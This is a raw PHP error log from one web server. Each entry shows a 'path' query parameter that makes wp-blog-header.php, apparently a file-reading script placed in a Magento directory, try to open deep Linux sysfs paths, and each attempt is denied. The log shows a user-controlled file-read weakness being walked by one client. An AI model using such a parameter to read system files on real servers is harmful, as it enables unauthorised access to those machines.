[Thu Mar 26 10:48:39.676014 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac
[Thu Mar 26 10:48:41.458037 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec
[Thu Mar 26 10:48:44.571746 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:48:46.658808 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 10:48:48.238656 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac
[Thu Mar 26 10:48:49.288527 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ce
[Thu Mar 26 10:48:55.615381 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:dc
[Thu Mar 26 10:49:05.758205 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac
[Thu Mar 26 10:49:07.341487 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:49:08.397015 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:49:08.966594 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ba
[Thu Mar 26 10:49:10.506701 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:49:15.767051 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ec
[Thu Mar 26 10:49:16.837941 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ca
[Thu Mar 26 10:49:21.567430 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 10:49:22.048031 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fe
[Thu Mar 26 10:49:26.337662 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:bc
[Thu Mar 26 10:49:28.407128 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:bc
[Thu Mar 26 10:49:29.513062 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 10:49:31.112181 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:49:31.690301 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:49:33.783472 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:49:34.295075 2026] [php:warn] [pid 3107099] [client 74.7.241.26:42478] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ea
[Thu Mar 26 10:49:36.610585 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ac
[Thu Mar 26 10:49:37.075582 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ce
[Thu Mar 26 10:49:41.411351 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ea
[Thu Mar 26 10:49:42.025141 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:da
[Thu Mar 26 10:49:42.522819 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:da
[Thu Mar 26 10:49:43.540969 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:49:45.166169 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 10:49:47.289732 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 10:49:49.948478 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 10:49:55.151964 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:49:57.215747 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ca
[Thu Mar 26 10:49:59.784746 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ec
[Thu Mar 26 10:50:00.971831 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ac
[Thu Mar 26 10:50:01.549447 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:cc
[Thu Mar 26 10:50:02.090986 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ea
[Thu Mar 26 10:50:02.624722 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:50:08.582010 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 10:50:15.720113 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:50:19.599992 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ca
[Thu Mar 26 10:50:22.789343 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:50:24.424431 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
